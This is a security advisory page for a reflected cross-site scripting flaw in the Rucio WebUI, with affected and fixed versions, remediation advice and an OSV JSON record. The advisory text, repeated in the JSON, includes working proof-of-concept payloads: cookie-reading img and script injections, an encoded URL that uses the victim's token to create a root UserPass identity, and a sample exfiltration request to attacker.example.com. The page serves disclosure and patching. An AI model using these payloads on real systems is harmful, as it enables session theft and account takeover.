CVE-2026-25136: Rucio webui Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-h79m-5jjm-jm4q
CVSS 8.1
CWE-1004 CWE-79
Published
Advisory Summary

CVE-2026-25136 is a HIGH (CVSS 8.1) cross-site scripting vulnerability (CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag) affecting Rucio webui libraries in the PyPI ecosystem. The issue involves rucio webui has a reflected cross-site scripting vulnerability. Remediation is available by upgrading affected packages to version 35.8.3, 38.5.4, 39.3.1.

CVE-2026-25136 at a Glance

CVE Identifier CVE-2026-25136
GHSA Identifier GHSA-h79m-5jjm-jm4q
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Affected Product Rucio webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-25136

To remediate this vulnerability, upgrade all affected Rucio webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rucio-webui fixed: 35.8.3
pip install rucio-webui>=35.8.3
rucio-webui fixed: 38.5.4
pip install rucio-webui>=38.5.4
rucio-webui fixed: 39.3.1
pip install rucio-webui>=39.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show rucio-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25136, inspect your installed packages using pip:

pip show rucio-webui

Analyze the terminal output to locate any version of Rucio webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 35.8.3), your application is affected.

Note: The pip show rucio-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag, where the product uses a cookie to store sensitive information, but the cookie is not marked with the httponly flag. In Rucio webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL. #### Details The WebUI error message renders `ExceptionMessage` (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in `common.py` - specifically `error_headers -> _error_response -> generate_http_error_flask`, which places `ExceptionMessage` into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in `lib/rucio/web/ui/static/*.js` such as `rule.js`, `request_rule.js`, `list_rules.js`) with `jQuery.html(...)` or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope). ### PoC 1) Reflected XSS via account parameter (browse or load URL in WebUI context): ```text https://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E ``` Server response (excerpt): ```http HTTP/1.1 500 INTERNAL SERVER ERROR ExceptionClass: AccountNotFound ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist Content-Type: application/octet-stream {"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"} ``` **XSS payload triggering (Displaying session token) when browsing to crafted URL** <img width="1210" height="510" alt="XSS payload triggering (Displaying session token) when browsing to crafted URL" src="https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6" /> When the WebUI inserts `ExceptionMessage` into the page with `.html(...)`, the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). 2) Reflected XSS via account key attribute creation error: ```http POST /proxy/accounts/pentest/attr/XSS HTTP/1.1 Content-Type: application/x-www-form-urlencoded Origin: https://127.0.0.1:8443 X-Rucio-Script: webui::-ui-account {"key":"XSS","value":"<script>alert(document.cookie)</script>"} ``` **XSS payload triggering (Displaying session token) on error when creating account key** <img width="1322" height="593" alt="XSS payload triggering (Displaying session token) on error when creating account key" src="https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72" /> Server response (excerpt) contains `ExceptionMessage` with the raw `<script>` payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations. ### Impact Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading. Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password. **Example URL to Create UserPass for Root** ``` https://localhost:8443/ui/account_rse_usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E ``` **Account Payload to Create UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` **Creating identity for Root account via reflected XSS** <img width="1558" height="957" alt="Creating identity for Root account via reflected XSS" src="https://github.com/user-attachments/assets/539bfff4-70f3-42c5-b83a-10b5f85d6d44" /> All WebUI users are impacted. ### Remediation / Mitigation Change all client-side insertions of server-provided text from `.html(...)` to `.text()` or create text nodes / escape HTML before insertion. Example: replace `$('#elem').html(msg)` with `$('#elem').empty().append($('<span>').text(msg))`. Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) #### References: - Server functions: `common.py` (`error_headers`, `_error_response, generate_http_error_flask`) - Example client files to fix: `lib/rucio/web/ui/static/rule.js`, `lib/rucio/web/ui/static/request_rule.js, list_rules.js` - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

CVE-2026-25136 Affected Rucio webui Versions

3 component(s)
Fixed Versions:
35.8.338.5.439.3.1
Product / Package Ecosystem Affected Versions Fixed Version
rucio-webui
PyPI
< 35.8.3
35.8.3
rucio-webui
PyPI
≥ 36.0.0rc1
< 38.5.4
38.5.4
rucio-webui
PyPI
≥ 39.0.0rc1
< 39.3.1
39.3.1

References

Frequently Asked Questions

What is CVE-2026-25136?
CVE-2026-25136 is a security vulnerability in Rucio webui involving Rucio WebUI has a Reflected Cross-site Scripting Vulnerability under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.
Which Rucio webui versions are affected?
Affected versions include releases prior to 35.8.3, 38.5.4, 39.3.1 across affected packages: rucio-webui.
What version fixes CVE-2026-25136?
Upgrading to 35.8.3, 38.5.4, 39.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rucio-webui affected?
Yes, rucio-webui is affected in releases prior to 35.8.3, 38.5.4, 39.3.1. Upgrade your dependency to 35.8.3, 38.5.4, 39.3.1 or later.
What is the CVSS score of CVE-2026-25136?
CVE-2026-25136 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-25136?
CVE-2026-25136 is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.).
How can I check PyPI dependencies for CVE-2026-25136?
Run the dependency tree command: 'pip show rucio-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h79m-5jjm-jm4q",
  "modified" : "2026-02-27T21:49:51Z",
  "published" : "2026-02-25T18:53:29Z",
  "aliases" : [ "CVE-2026-25136" ],
  "summary" : "Rucio WebUI has a Reflected Cross-site Scripting Vulnerability",
  "details" : "### Summary\nA reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.\n\n#### Details\nThe WebUI error message renders `ExceptionMessage` (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in `common.py` - specifically `error_headers -> _error_response -> generate_http_error_flask`, which places `ExceptionMessage` into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in `lib/rucio/web/ui/static/*.js` such as `rule.js`, `request_rule.js`, `list_rules.js`) with `jQuery.html(...)` or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).\n\n### PoC\n1) Reflected XSS via account parameter (browse or load URL in WebUI context):\n```text\nhttps://127.0.0.1:8443/ui/account_rse_usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E\n```\nServer response (excerpt):\n```http\nHTTP/1.1 500 INTERNAL SERVER ERROR\nExceptionClass: AccountNotFound\nExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist\nContent-Type: application/octet-stream\n\n{\"ExceptionClass\":\"AccountNotFound\",\"ExceptionMessage\":\"Account <img src=x onerror=alert(document.cookie)> does not exist\"}\n```\n\n**XSS payload triggering (Displaying session token) when browsing to crafted URL**\n<img width=\"1210\" height=\"510\" alt=\"XSS payload triggering (Displaying session token) when browsing to crafted URL\" src=\"https://github.com/user-attachments/assets/989a0aed-628d-4f1c-bbfb-de434dab8af6\" />\n\nWhen the WebUI inserts `ExceptionMessage` into the page with `.html(...)`, the injected <img onerror=...> executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).\n\n2) Reflected XSS via account key attribute creation error:\n```http\nPOST /proxy/accounts/pentest/attr/XSS HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nOrigin: https://127.0.0.1:8443\nX-Rucio-Script: webui::-ui-account\n{\"key\":\"XSS\",\"value\":\"<script>alert(document.cookie)</script>\"}\n```\n\n**XSS payload triggering (Displaying session token) on error when creating account key**\n<img width=\"1322\" height=\"593\" alt=\"XSS payload triggering (Displaying session token) on error when creating account key\" src=\"https://github.com/user-attachments/assets/151cb0ad-e4f0-498e-954e-be3455ca8a72\" />\n\nServer response (excerpt) contains `ExceptionMessage` with the raw `<script>` payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.\n\n### Impact\nAny authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.\n\nAttackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password. \n\n**Example URL to Create UserPass for Root**\n```\nhttps://localhost:8443/ui/account_rse_usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E\n```\n\n**Account Payload to Create UserPass**\n```html\n<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>\n```\n\n**Creating identity for Root account via reflected XSS**\n<img width=\"1558\" height=\"957\" alt=\"Creating identity for Root account via reflected XSS\" src=\"https://github.com/user-attachments/assets/539bfff4-70f3-42c5-b83a-10b5f85d6d44\" />\n\nAll WebUI users are impacted.\n\n### Remediation / Mitigation\nChange all client-side insertions of server-provided text from `.html(...)` to `.text()` or create text nodes / escape HTML before insertion. Example: replace `$('#elem').html(msg)` with `$('#elem').empty().append($('<span>').text(msg))`.\n\nAdditionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.\n\n> Note that many pages were found setting the API token as `token` in an authenticated response like `var token = \"root-root-webui-...:\"` (See `/ui/list_accounts` for example)\n\n#### References:\n- Server functions: `common.py` (`error_headers`, `_error_response, generate_http_error_flask`)\n- Example client files to fix: `lib/rucio/web/ui/static/rule.js`, `lib/rucio/web/ui/static/request_rule.js, list_rules.js`\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "35.8.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "36.0.0rc1"
      }, {
        "fixed" : "38.5.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "39.0.0rc1"
      }, {
        "fixed" : "39.3.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/security/advisories/GHSA-h79m-5jjm-jm4q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25136"
  }, {
    "type" : "WEB",
    "url" : "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rucio/rucio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/35.8.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/38.5.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/39.3.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1004", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T18:53:29Z",
    "nvd_published_at" : "2026-02-25T20:23:47Z"
  }
}